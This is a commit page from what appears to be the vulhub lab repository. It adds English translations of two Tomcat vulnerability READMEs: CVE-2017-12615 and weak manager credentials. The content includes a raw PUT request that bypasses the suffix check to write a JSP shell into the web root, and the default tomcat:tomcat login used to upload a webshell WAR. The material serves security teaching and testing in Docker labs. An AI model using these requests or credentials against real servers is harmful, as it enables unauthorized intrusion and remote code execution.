Skip to content

Commit

Permalink
update translation translate/tomcat (vulhub#63)
Browse files Browse the repository at this point in the history
* Rename README.md to README.zh-cn.md

* Create README.md

* Rename README.md to README.zh-cn.md

* Create README.md

* Update README.md

* Update README.md

* Update README.md

* Update README.md
  • Loading branch information
ldqsmile authored and phith0n committed Sep 11, 2018
1 parent 14ae8a5 commit 5cb9589
Show file tree
Hide file tree
Showing 4 changed files with 163 additions and 33 deletions.
28 changes: 16 additions & 12 deletions tomcat/CVE-2017-12615/README.md
Original file line number Diff line number Diff line change
@@ -1,25 +1,28 @@
# Tomcat PUT方法任意写文件漏洞(CVE-2017-12615
# Tomcat Arbitrary Write-file Vulnerability through PUT Method (CVE-2017-12615)

Tomcat版本:8.5.19
[中文版本(Chinese version)](README.zh-cn.md)

## 环境搭建
Tomcat version: 8.5.19

## Environment Setup

```
docker-compose build
docker-compose up -d
```

运行完成后访问`http://your-ip:8080`即可看到Tomcat的Example页面。
After successfully running the commands above, you will see the example page of Tomcat through visiting the site `http://your-ip:8080`.


## 漏洞原理
## Rationale

参考:
Reference links:

- http://wooyun.jozxing.cc/static/bugs/wooyun-2015-0107097.html
- https://mp.weixin.qq.com/s?__biz=MzI1NDg4MTIxMw==&mid=2247483659&idx=1&sn=c23b3a3b3b43d70999bdbe644e79f7e5
- https://mp.weixin.qq.com/s?__biz=MzU3ODAyMjg4OQ==&mid=2247483805&idx=1&sn=503a3e29165d57d3c20ced671761bb5e

漏洞本质Tomcat配置了可写(readonly=false),导致我们可以往服务器写文件:
Tomcat sets up the write permission(readonly=false), which leads to the result that we can write files into the server.

```
<servlet>
Expand All @@ -41,11 +44,11 @@ docker-compose up -d
</servlet>
```

虽然Tomcat对文件后缀有一定检测(不能直接写jsp),但我们使用一些文件系统的特性(如Linux下可用`/`)来绕过了限制。
Although Tomcat checks the file suffix to some extent(can't write jsp directly), we can still bypass the limitation through some file system features(such as using `/` in Linux).

## 漏洞复现
## POC

直接发送以下数据包即可在Web根目录写入shell:
Send the following packets directly and then the shell will be written into the Web root directory.

```
PUT /1.jsp/ HTTP/1.1
Expand All @@ -60,6 +63,7 @@ Content-Length: 5
shell
```

如下:
As follows:

![](01.png)

![](01.png)
65 changes: 65 additions & 0 deletions tomcat/CVE-2017-12615/README.zh-cn.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,65 @@
# Tomcat PUT方法任意写文件漏洞(CVE-2017-12615)

Tomcat版本:8.5.19

## 环境搭建

```
docker-compose build
docker-compose up -d
```

运行完成后访问`http://your-ip:8080`即可看到Tomcat的Example页面。

## 漏洞原理

参考:

- http://wooyun.jozxing.cc/static/bugs/wooyun-2015-0107097.html
- https://mp.weixin.qq.com/s?__biz=MzI1NDg4MTIxMw==&mid=2247483659&idx=1&sn=c23b3a3b3b43d70999bdbe644e79f7e5
- https://mp.weixin.qq.com/s?__biz=MzU3ODAyMjg4OQ==&mid=2247483805&idx=1&sn=503a3e29165d57d3c20ced671761bb5e

漏洞本质Tomcat配置了可写(readonly=false),导致我们可以往服务器写文件:

```
<servlet>
<servlet-name>default</servlet-name>
<servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
<init-param>
<param-name>debug</param-name>
<param-value>0</param-value>
</init-param>
<init-param>
<param-name>listings</param-name>
<param-value>false</param-value>
</init-param>
<init-param>
<param-name>readonly</param-name>
<param-value>false</param-value>
</init-param>
<load-on-startup>1</load-on-startup>
</servlet>
```

虽然Tomcat对文件后缀有一定检测(不能直接写jsp),但我们使用一些文件系统的特性(如Linux下可用`/`)来绕过了限制。

## 漏洞复现

直接发送以下数据包即可在Web根目录写入shell:

```
PUT /1.jsp/ HTTP/1.1
Host: your-ip:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 5
shell
```

如下:

![](01.png)
45 changes: 24 additions & 21 deletions tomcat/tomcat8/README.md
Original file line number Diff line number Diff line change
@@ -1,25 +1,27 @@
# Tomcat7+ 弱口令 && 后台getshell漏洞
# Tomcat7+ Weak Password && Backend Getshell Vulnerability

Tomcat版本:8.0
[中文版本(Chinese version)](README.zh-cn.md)

## 环境说明
Tomcat version: 8.0

Tomcat支持在后台部署war文件,可以直接将webshell部署到web目录下。其中,欲访问后台,需要对应用户有相应权限。
## Introduction

Tomcat7+权限分为:
Tomcat supports deploying the war files through backend, so we can directly place the webshell into the web directory. In order to access the backend, permissions are needed.

- manager(后台管理)
- manager-gui 拥有html页面权限
- manager-status 拥有查看status的权限
- manager-script 拥有text接口的权限,和status权限
- manager-jmx 拥有jmx权限,和status权限
- host-manager(虚拟主机管理)
- admin-gui 拥有html页面权限
- admin-script 拥有text接口权限
Permissions of Tomcat7+ are as follows:

这些权限的究竟有什么作用,详情阅读 http://tomcat.apache.org/tomcat-8.5-doc/manager-howto.html
- manager(backend management)
- manager-gui (permission of html pages)
- manager-status (permission to view status)
- manager-script (permission of text interface and the status permission)
- manager-jmx (jmx permissions, and status permissions)
- host-manager (virtual host management)
- admin-gui (permission of html pages)
- admin-script (permission of text interface)

`conf/tomcat-users.xml`文件中配置用户的权限:
To know more about the permissions, please read: http://tomcat.apache.org/tomcat-8.5-doc/manager-howto.html

Permissions of users are configured in the ` conf/tomcat-users.xml ` file:

```xml
<?xml version="1.0" encoding="UTF-8"?>
Expand All @@ -39,20 +41,21 @@ Tomcat7+权限分为:
</tomcat-users>
```

可见,用户tomcat拥有上述所有权限,密码是`tomcat`
As can be seen, user tomcat has all of the permissions mentioned above, and the password is `tomcat`.

正常安装的情况下,tomcat8中默认没有任何用户,且manager页面只允许本地IP访问。只有管理员手工修改了这些属性的情况下,才可以进行攻击。
There are no users by default in Tomcat8 through normal installation, and the manager page only allows local IP to visit. Only if the administrator has manually modified these properties can we make an attack.

## 漏洞测试
## Environment and Test

无需编译,直接启动整个环境
Just run

```
docker-compose up -d
```

打开tomcat管理页面`http://your-ip:8080/manager/html`输入弱密码`tomcat:tomcat`即可访问后台
Open the tomcat management page `http://your-ip:8080/manager/html`enter the weak password `tomcat:tomcat`then access the backend

![](1.png)

上传war包即可直接getshell。
Upload war package and then get shell directly.

58 changes: 58 additions & 0 deletions tomcat/tomcat8/README.zh-cn.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,58 @@
# Tomcat7+ 弱口令 && 后台getshell漏洞

Tomcat版本:8.0

## 环境说明

Tomcat支持在后台部署war文件,可以直接将webshell部署到web目录下。其中,欲访问后台,需要对应用户有相应权限。

Tomcat7+权限分为:

- manager(后台管理)
- manager-gui 拥有html页面权限
- manager-status 拥有查看status的权限
- manager-script 拥有text接口的权限,和status权限
- manager-jmx 拥有jmx权限,和status权限
- host-manager(虚拟主机管理)
- admin-gui 拥有html页面权限
- admin-script 拥有text接口权限

这些权限的究竟有什么作用,详情阅读 http://tomcat.apache.org/tomcat-8.5-doc/manager-howto.html

`conf/tomcat-users.xml`文件中配置用户的权限:

```xml
<?xml version="1.0" encoding="UTF-8"?>
<tomcat-users xmlns="http://tomcat.apache.org/xml"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
version="1.0">

<role rolename="manager-gui"/>
<role rolename="manager-script"/>
<role rolename="manager-jmx"/>
<role rolename="manager-status"/>
<role rolename="admin-gui"/>
<role rolename="admin-script"/>
<user username="tomcat" password="tomcat" roles="manager-gui,manager-script,manager-jmx,manager-status,admin-gui,admin-script" />

</tomcat-users>
```

可见,用户tomcat拥有上述所有权限,密码是`tomcat`

正常安装的情况下,tomcat8中默认没有任何用户,且manager页面只允许本地IP访问。只有管理员手工修改了这些属性的情况下,才可以进行攻击。

## 漏洞测试

无需编译,直接启动整个环境:

```
docker-compose up -d
```

打开tomcat管理页面`http://your-ip:8080/manager/html`,输入弱密码`tomcat:tomcat`,即可访问后台:

![](1.png)

上传war包即可直接getshell。

0 comments on commit 5cb9589

Please sign in to comment.